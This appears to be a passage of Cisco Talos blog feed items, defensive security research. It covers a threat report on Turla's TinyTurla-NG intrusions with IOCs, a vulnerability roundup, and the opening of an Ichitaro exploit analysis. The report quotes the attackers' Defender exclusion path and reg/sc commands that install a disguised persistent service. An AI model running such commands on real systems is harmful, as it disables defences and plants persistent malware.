id="preliminary-post-compromise-activity-and-tinyturla-ng-deployment">Preliminary post-compromise activity and TinyTurla-NG deployment</h2><p></p><p>After gaining initial access, Turla first adds exclusions in the anti-virus software, such as Microsoft Defender, to locations they will use to host the implant on the compromised systems.</p><p></p>
<!--kg-card-begin: html-->
<table style="border:none;border-collapse:collapse;"><colgroup><col width="448"><col width="176"></colgroup><tbody><tr style="height:0pt"><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ACTION</span></p></td><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">INTENT</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths |&#xA0;</span></p><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#x201C;C:\Windows\System32\&#x201D; = 0x0</span></p></td><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><a href="https://attack.mitre.org/techniques/T1562/001/" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">T1562.001</span></a><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] Impair Defenses: Disable or Modify Tools</span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p><br></p><p>Turla then sets up the persistence of the TinyTurla-NG implants using one or more batch (BAT) files. The batch files create a service on the system to persist the TTNG DLL on the system.&#xA0;</p><p></p>
<!--kg-card-begin: html-->
<table style="border:none;border-collapse:collapse;"><colgroup><col width="450"><col width="174"></colgroup><tbody><tr style="height:0pt"><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ACTION</span></p></td><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">INTENT</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">reg add &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost&quot; /v sysman /t REG_MULTI_SZ /d &quot;sdm&quot; /f</span></p><br><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">reg add &quot;HKLM\SYSTEM\CurrentControlSet\services\sdm\Parameters&quot; /v ServiceDll /t REG_EXPAND_SZ /d &quot;%systemroot%\system32\dcmd.dll&quot; /f</span></p></td><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><a href="https://attack.mitre.org/techniques/T1543/003/" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">T1543.003</span></a><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] Create or Modify System Process: Windows Service</span></p></td></tr><tr style="height:0pt"><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">sc create sdm binPath= &quot;c:\windows\system32\svchost.exe -k sysman&quot; type= share start= auto</span></p><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">sc config sdm DisplayName= &quot;System Device Manager&quot;</span></p><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">sc description sdm &quot;Creates and manages system-mode driver processes. This service cannot be stopped.&quot;</span></p><br></td><td style="border-left:solid #000000 1pt;border-right:solid #000000 1pt;border-bottom:solid #000000 1pt;border-top:solid #000000 1pt;vertical-align:top;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.2;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><a href="https://attack.mitre.org/techniques/T1543/003/" style="text-decoration:none;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#1155cc;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:underline;-webkit-text-decoration-skip:none;text-decoration-skip-ink:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">T1543.003</span></a><span style="font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] Create or Modify System Process: Windows Service</span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>This technique is identical to that used by Turla in 2021 to achieve persistence for their <a href="https://blog.talosintelligence.com/tinyturla/"><u>TinyTurla</u></a> implants. However, we&#x2019;re still unsure why the actor uses two different batch files, but it seems to be an unnecessarily convoluted approach to evade detections.</p><p></p><p>In the case of TTNG, the service is created with the name &#x201C;sdm&#x201D; masquerading as a &#x201C;System Device Manager&#x201D; service.&#xA0;</p><p></p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/rAJm59IBn4we6NmwrJche25DVuOzXJVUHDg1jPCPz12tPvoJvf5ehdfYRO51Mz3unvhlhxstqBD-xOFnzYZ0bJWFL9Gowj6chouFC1kMT_Xo-1tq3vQplxjrcTamQ3Egisni5dEN47ZO70zxM4m8WSY" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="466"></figure><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/FCMyHx5_sDgd9r4a-BaoWzpOWbNUCvUHUCvypouztli9jQwTHG7S6h1otIOErtfP5iOgO-pzD3FTbK27-oNLArBZqfEoUAuI3bzxl9HDWJMGnKZHZT-jd9mJbfMdgsKcX5C-aWSLzE5pfnKIFh4bgpw" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="503"></figure><p>Batch file contents.</p><p></p><p>The creation and start of the malicious service kick starts the execution of the TinyTurla-NG implant via svchost[.]exe (Windows&#x2019; service container). TinyTurla-NG is instrumented further to conduct additional reconnaissance of directories of interest and then copy files to a temporary staging directory on the infected system, followed by subsequent exfiltration to the C2. TinyTurla-NG is also used to deploy a custom-built Chisel beacon from the open-sourced offensive framework.</p><h2 id="custom-chisel-usage">Custom Chisel usage</h2><p>On deployment, Chisel will set up a reverse proxy tunnel to an attacker-controlled box [<a href="https://attack.mitre.org/techniques/T1573/002/"><u>T1573.002</u></a> - Encrypted Channel: Asymmetric Cryptography]. We&#x2019;ve observed that the attackers leveraged the chisel connection to the initially compromised system, to pivot to other systems in the network.&#xA0;</p><p></p><p>The presence of Windows Remote Management (WinRM)-based connections on the target systems indicates that chisel was likely used in conjunction with other tools, such as proxy chains and evil-winrm to establish remote sessions. <a href="https://learn.microsoft.com/en-us/windows/win32/winrm/portal"><u>WinRM</u></a> is Microsoft&#x2019;s implementation of the WS-Management protocol and allows Windows-based systems to exchange information and be administered using scripts or built-in utilities.</p><p>The overall infection chain is visualized below.</p><p></p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/wIJgem8IkbHxCR-MWmzfRMVF_2xLaW-qNVALco_wsF7ehdzyMdJurG68l3Fo0_rwI_6MVZCQg12FHAHGPTl4UlInkX47VVyD6ZZRR9PicbvLKKnHBXR9t3BVBshSa3jSUmt9Lc_uayhk-LObKQQBjiU" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="1537"></figure><p>Turla tactics, tools and procedures flow.</p><p></p><p>Once the attackers have gained access to a new box, they will repeat their activities to create Microsoft Defender exclusions, drop the malware components, and create persistence, indicating that Turla follows a playbook that can be articulated as the following cyber kill chain.</p><p><br><br></p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/6stqLIc2f2VljJB6o1qL-o8KgYWbVxuIhCZrHqWl0kEQDGwUND7zDYLdDFspt9DTsE-7psjBKoJVTAEvf-1pkCLINRqxe1A-CiHSUj4WIRw4N72LL6LRXznP4ATgrgHe0FG4N9IMjhogc9GqokozSRk" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="939"></figure><p>Cyber kill chain.</p><p></p><p>Analyzing the traffic originating from Chisel revealed the tool beaconed back to its C2 server every hour.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/W9hVHuHYZLSEPWh9AmOwzmSnzseSe6Pj9OGZHBP1XtKFLjc0Q-WDlJVqIQBxxigZ85ZEXCerlfM2nIGS_y-yVqX0f4aojJPdFJv05XNT72kDUf3Wngx_Oke54jgQdwkTUfixfnDzL4_Egaq-eNTuDfY" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="796"></figure><p></p><p>While the infected systems were compromised as early as October 2023 and Chisel was deployed as late as December 2023, Turla operators conducted the majority of their data exfiltration over using Chisel much later on Jan. 12, 2024 [<a href="https://attack.mitre.org/techniques/T1041/"><u>T1041</u></a> - Exfiltration Over C2 Channel].</p><p></p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/493NKllwxooDfa9ZZ1AUvmSkXQwk_3bAqoVPNfRtMiOFvryo5PIJitvvU0TFSEuOBUfLZNKOeTbwxRG0YV9mJc6tBjo7TbcZH4bQc4r46QZCWkeBpYWitbq6ZcKwwwsZphXzk1_4W7I3U1vPa-kqBN8" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="846"></figure><p></p><h1 id="coverage">Coverage</h1><p>Ways our customers can detect and block this threat are listed below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/wHHEkYWwxuRfNP-oFIjhZJTepeebFfFlelauJ0z8UJwqANP9OL_j6cSLywq4qK2V_FK-z1CPxNXLCdkjNpqW3f6PFKEAYR3_AyiHwqQY1dpXepUr5mTyxXcveZm66ytQPJk2T3Pj4B4NzSRXLhhqTN8" class="kg-image" alt="New details on TinyTurla&#x2019;s post-compromise activity reveal full kill chain" loading="lazy" width="1600" height="323"></figure><p><a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html?ref=cisco-talos-blog"><u>Cisco Secure Endpoint</u></a> (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free <a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium=web-referral%3Futm_source%3Dcisco&amp;%3Butm_campaign=amp-free-trial&amp;%3Butm_term=pgm-talos-trial&amp;%3Butm_content=amp-free-trial&amp;ref=cisco-talos-blog"><u>here.</u></a></p><p></p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html?ref=cisco-talos-blog"><u>Cisco Secure Web Appliance</u></a> web scanning prevents access to malicious websites and detects malware used in these attacks.</p><p></p><p><a href="https://www.cisco.com/c/en/us/products/security/email-security/index.html?ref=cisco-talos-blog"><u>Cisco Secure Email</u></a> (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free <a href="https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium=web-referral&amp;%3Butm_source=cisco&amp;%3Butm_campaign=cmd-free-trial-request&amp;%3Butm_term=pgm-talos-trial&amp;ref=cisco-talos-blog"><u>here</u></a>.</p><p></p><p><a href="https://www.cisco.com/c/en/us/products/security/firewalls/index.html?ref=cisco-talos-blog"><u>Cisco Secure Firewall</u></a> (formerly Next-Generation Firewall and Firepower NGFW) appliances such as <a href="https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html?ref=cisco-talos-blog"><u>Threat Defense Virtual</u></a>, <a href="https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html?ref=cisco-talos-blog"><u>Adaptive Security Appliance</u></a> and <a href="https://meraki.cisco.com/products/appliances?ref=cisco-talos-blog"><u>Meraki MX</u></a> can detect malicious activity associated with this threat.</p><p></p><p><a href="https://www.cisco.com/c/en/us/products/security/threat-grid/index.html?ref=cisco-talos-blog"><u>Cisco Secure Malware Analytics</u></a> (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.</p><p></p><p><a href="https://umbrella.cisco.com/?ref=cisco-talos-blog"><u>Umbrella</u></a>, Cisco&apos;s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella <a href="https://signup.umbrella.com/?utm_medium=web-referral%3Futm_source%3Dcisco&amp;%3Butm_campaign=umbrella-free-trial&amp;%3Butm_term=pgm-talos-trial&amp;%3Butm_content=automated-free-trial&amp;ref=cisco-talos-blog"><u>here</u></a>.</p><p></p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html?ref=cisco-talos-blog"><u>Cisco Secure Web Appliance</u></a> (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.</p><p>Additional protections with context to your specific environment and threat data are available from the <a href="https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html?ref=cisco-talos-blog"><u>Firewall Management Center</u></a>.</p><p></p><p><a href="https://signup.duo.com/?utm_source=talos&amp;utm_medium=referral&amp;utm_campaign=duo-free-trial"><u>Cisco Duo</u></a> provides multi-factor authentication for users to ensure only those authorized are accessing your network.</p><p></p><p>Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on <a href="https://www.snort.org/products?ref=cisco-talos-blog"><u>Snort.org</u></a>.</p><p><br></p><h1 id="iocs">IOCS</h1><h3 id="hashes">Hashes</h3><p>267071df79927abd1e57f57106924dd8a68e1c4ed74e7b69403cdcdf6e6a453b</p><p>d6ac21a409f35a80ba9ccfe58ae1ae32883e44ecc724e4ae8289e7465ab2cf40</p><p>ad4d196b3d85d982343f32d52bffc6ebfeec7bf30553fa441fd7c3ae495075fc</p><p>13c017cb706ef869c061078048e550dba1613c0f2e8f2e409d97a1c0d9949346</p><p>b376a3a6bae73840e70b2fa3df99d881def9250b42b6b8b0458d0445ddfbc044&#xA0;</p><p></p><h3 id="domains">Domains</h3><p>hanagram[.]jpthefinetreats[.]com</p><p>caduff-sa[.]chjeepcarlease[.]com</p><p>buy-new-car[.]com</p><p>carleasingguru[.]com</p><p></p><h3 id="ip-addresses">IP Addresses</h3><p>91[.]193[.]18[.]120</p>]]></content:encoded></item><item><title><![CDATA[Netgear wireless router open to code execution after buffer overflow vulnerability]]></title><description><![CDATA[There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak. ]]></description><link>https://blog.talosintelligence.com/vulnerability-roundup-march-20-2024/</link><guid isPermaLink="false">65fade43652a3c000105ac8d</guid><category><![CDATA[Vulnerability Roundup]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Wed, 20 Mar 2024 16:00:05 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/vuln-roundup.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/vuln-roundup.png" alt="Netgear wireless router open to code execution after buffer overflow vulnerability"><p>Cisco Talos&#x2019; Vulnerability Research team recently disclosed three vulnerabilities across a range of products, including one that could lead to remote code execution in a popular Netgear wireless router designed for home networks.&#xA0;</p><p>There is also a newly disclosed vulnerability in a graphics driver for some NVIDIA GPUs that could lead to a memory leak.&#xA0;</p><p>All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to <a href="https://sec.cloudapps.cisco.com/security/center/resources/vendor_vulnerability_policy.html" rel="noreferrer noopener"><u>Cisco&#x2019;s third-party vulnerability disclosure policy</u></a>.&#xA0;</p><p>For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from <a href="https://snort.org/" rel="noreferrer noopener"><u>Snort.org</u></a>, and our latest Vulnerability Advisories are always posted on <a href="https://talosintelligence.com/vulnerability_reports" rel="noreferrer noopener"><u>Talos Intelligence&#x2019;s website</u></a>.&#xA0;&#xA0;</p><h2 id="netgear-rax30-json-parsing-stack-based-buffer-overflow-vulnerability">Netgear RAX30 JSON parsing stack-based buffer overflow vulnerability&#xA0;</h2><p><em>Discovered by Michael Gentile.</em>&#xA0;</p><p>The Netgear RAX30 wireless router contains a stack-based buffer overflow vulnerability that could allow an attacker to execute arbitrary code on the device. &#xA0;</p><p>An adversary could send a targeted device a specially crafted HTTP request to eventually cause a buffer overflow condition.&#xA0;</p><p>The RAX30 is a dual-band Wi-Fi router that&#x2019;s commonly used on home networks. In <a href="https://kb.netgear.com/000066037/Security-Advisory-for-Post-Authentication-Stack-Overflow-on-the-RAX30-PSV-2023-0160" rel="noreferrer noopener"><u>an advisory</u></a> about <a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1887" rel="noreferrer noopener"><u>TALOS-2023-1887</u></a> (CVE-2023-48725), Netgear stated that the vulnerability &#x201C;requires an attacker to have your WiFi password or an Ethernet connection to a device on your network to be exploited.&#x201D;&#xA0;</p><h2 id="nvidia-d3d10-driver-out-of-bounds-read-vulnerability">NVIDIA D3D10 driver out-of-bounds read vulnerability&#xA0;</h2><p><em>Discovered by Piotr Bania.</em>&#xA0;</p><p><a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1849" rel="noreferrer noopener"><u>TALOS-2023-1849</u></a> (CVE-2024-0071) is an out-of-bounds read vulnerability in the shader functionality of the NVIDIA D3D10 driver that runs on several NVIDIA graphics cards. Drivers like D3D10 are usually necessary for the GPU to function properly.&#xA0;</p><p>An adversary could send a specially crafted executable or shader file to the targeted machine to trigger an out-of-bounds read and eventually leak memory. &#xA0;</p><p>This vulnerability could be triggered from guest machines running virtual environments to perform a guest-to-host escape. Theoretically, it could be exploited from a web browser, but Talos tested this vulnerability from a Windows Hyper-V guest using the RemoteFX feature, leading to execution of the vulnerable code on the Hyper-V host. While RemoteFX is no longer actively maintained by Microsoft, some older machines may still use this software. &#xA0;</p><p>An out-of-bounds read vulnerability exists in the Shader functionality of NVIDIA D3D10 Driver, Version 546.01, 31.0.15.4601. A specially crafted executable/shader file can lead to an out-of-bounds read. An attacker can provide a specially crafted shader file to trigger this vulnerability.&#xA0;</p><p>An adversary could also use this vulnerability to leak host data to the guest machine.&#xA0;</p><h2 id="denial-of-service-vulnerability-in-google-chrome-video-encoder">Denial-of-service vulnerability in Google Chrome Video Encoder&#xA0;</h2><p><em>Discovered by Piotr Bania.</em>&#xA0;</p><p>A denial-of-service vulnerability in Google Chrome&#x2019;s video encoder could crash the browser. &#xA0;</p><p><a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1870" rel="noreferrer noopener"><u>TALOS-2023-1870</u></a> is triggered if the targeted user visits an attacker-created website that contains specific code. &#xA0;</p><p>Talos&#x2019; sample exploit runs a JavaScript code related to the Chrome video encoding functionality, eventually causing a denial-of-service in the browser and stopping all processes in Chrome. &#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word]]></title><description><![CDATA[Research conducted by Cisco Talos last year uncovered multiple vulnerabilities rated as low severity despite their ability to allow for full arbitrary code execution. ]]></description><link>https://blog.talosintelligence.com/exploiting-low-severity-vulnerability-using-a-frame-pointer-overwrite/</link><guid isPermaLink="false">65f9a447405eeb00019473a8</guid><category><![CDATA[Vulnerability Deep Dive]]></category><dc:creator><![CDATA[Ali Rizvi-Santiago]]></dc:creator><pubDate>Wed, 20 Mar 2024 12:00:18 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/VulnDeepDive.png" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos disclosed several vulnerabilities in JustSystems&#x2019; Ichitaro Word Processor last year. These vulnerabilities were complex and were discovered through extensive reverse engineering.</li><li><a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1825"><u>CVE-2023-35126</u></a> and its peers (<a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1758"><u>CVE-2023-34366</u></a>, <a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1808"><u>CVE-2023-38127</u></a>, and <a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1809"><u>CVE-2023-38128</u></a>) were each assessed as exploitable with the possibility of achieving arbitrary code execution.</li><li>To establish precedence, a complete arbitrary code execution exploit was developed using only limited primitives provided by CVE-2023-35126, demonstrating its severity in contrast with JP CERT&#x2019;s assessment.</li><li>Doing so required an in-depth understanding of the complex file format as well as the internal mechanisms as implemented by Ichitaro, mirroring the exploitation research that a potential malicious adversary would need to perform to achieve the same goal.&#xA0;</li><li>The exploit converts an out-of-bounds index into a frame pointer overwrite. After silently executing the payload, the process is repaired, allowing the application to finish loading the rest of the document. Silent continuation of process execution is essential so as not to alert the target victim.</li><li>Its payload is distinctly separated from the vulnerability and can be decoded from an arbitrary document stream that is specified at build time. Tools and techniques developed and demonstrated will help us better assess and more quickly understand similar threats in the future.&#xA0;</li><li>Stopping short of publishing complete exploit code, we believe it is important to showcase the complexities involved in developing exploits for unusual vulnerabilities and to highlight the importance of exploit mitigations.</li></ul><div class="kg-card kg-toggle-card" data-kg-toggle-state="close">
            <div class="kg-toggle-heading">
                <h4 class="kg-toggle-heading-text"><span style="white-space: pre-wrap;">Table of Contents</span></h4>
                <button class="kg-toggle-card-icon" aria-label="Expand toggle to read content">
                    <svg id="Regular" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24">
                        <path class="cls-1" d="M23.25,7.311,12.53,18.03a.749.749,0,0,1-1.06,0L.75,7.311"/>
                    </svg>
                </button>
            </div>
            <div class="kg-toggle-content"><img src="https://blog.talosintelligence.com/content/images/2024/03/VulnDeepDive.png" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word"><p><a href="#format" rel="noreferrer"><span style="white-space: pre-wrap;">Format</span></a></p><p><a href="#discovery" rel="noreferrer"><span style="white-space: pre-wrap;">Discovery</span></a></p><p><a href="#mitigations" rel="noreferrer"><span style="white-space: pre-wrap;">Mitigations</span></a></p><p><a href="#vulnerabilitys-capabilities" rel="noreferrer"><span style="white-space: pre-wrap;">Vulnerability&apos;s capabilities</span></a></p><p><a href="#using-a-compiler" rel="noreferrer"><span style="white-space: pre-wrap;">Using a compiler</span></a></p><p><a href="#coverage"><span style="white-space: pre-wrap;">Coverage</span></a></p></div>
        </div><p>The Ichitaro word processing component software from JustSystems, Inc. is part of the company&#x2019;s larger suite of office products, similar to Microsoft Office 365. While fairly unknown in the rest of the world, it has a large market share in Japan. Regionally popular, but often overlooked, <a href="https://blog.alyac.co.kr/2140"><u>these types of applications</u></a> have been <a href="https://blog.talosintelligence.com/the-medoc-connection/"><u>targets of malicious exploitation campaigns</u></a> previously. Vulnerability research conducted by Cisco Talos over the past year has uncovered multiple high-severity vulnerabilities in Ichitaro that could allow an adversary to carry out a variety of malicious actions, <a href="https://blog.talosintelligence.com/vulnerability-roundup-oct-25-2023/"><u>including arbitrary code execution</u></a>. JustSystems has patched all the vulnerabilities mentioned in this <a href="https://www.justsystems.com/jp/download/trial/ichitaro/"><u>blog post</u></a>, all in adherence to Cisco&#x2019;s <a href="https://sec.cloudapps.cisco.com/security/center/resources/vendor_vulnerability_policy.html"><u>third-party vendor vulnerability disclosure policy</u></a>.</p><p>Straightforward fuzzing is mostly ineffective against these types of applications. Complex functionality supported by a complex file format required extensive reverse engineering that yielded a deeper understanding of the inner workings of Ichitaro, which was necessary for effective bug hunting, be it through fuzzing or manual code auditing. These insights help us better assess the severity of vulnerabilities uncovered in the future.</p><p>The uncovered vulnerabilities were generally complex and difficult to reach and trigger. For now, we&#x2019;ll focus on one vulnerability, in particular, <a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1825"><u>TALOS-2023-1825</u></a> (CVE-2023-35126). For demonstration purposes, we are using Ichitaro 2023 version 1.0.1.59372. JustSystems <a href="https://www.justsystems.com/jp/corporate/info/js23002.html"><u>patched this vulnerability</u></a> in security update <code>2023.10.19</code>. Our emphasis is on the methods employed while performing root cause and exploitability analysis.</p><p>Developing memory corruption exploits beyond simple proof of concepts is occasionally time-consuming, and hence is not taken lightly. With the advent of more advanced exploit mitigations, it becomes difficult to assess if a singular vulnerability is exploitable and what its severity is. What helps is<a href="https://blog.isosceles.com/exploit-equivalence-classes/"><u> exploit equivalence classes</u></a>. An exploit for a use-after-free vulnerability in a certain context demonstrates that all similar use-after-free vulnerabilities are exploitable. While exploit equivalence classes are established for the most common types of targets (browsers or OS kernels, for example), we have no precedent to fall back on when working with previously unknown types of software.&#xA0;</p><p>This is especially important when judging the severity of the vulnerabilities. Our 